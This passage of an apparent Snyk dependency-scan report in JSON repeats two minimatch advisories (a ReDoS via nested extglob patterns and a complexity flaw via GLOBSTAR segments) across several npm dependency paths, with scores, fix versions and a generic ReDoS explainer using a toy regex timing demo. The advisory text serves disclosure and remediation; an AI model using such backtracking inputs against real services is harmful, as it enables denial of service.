Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## 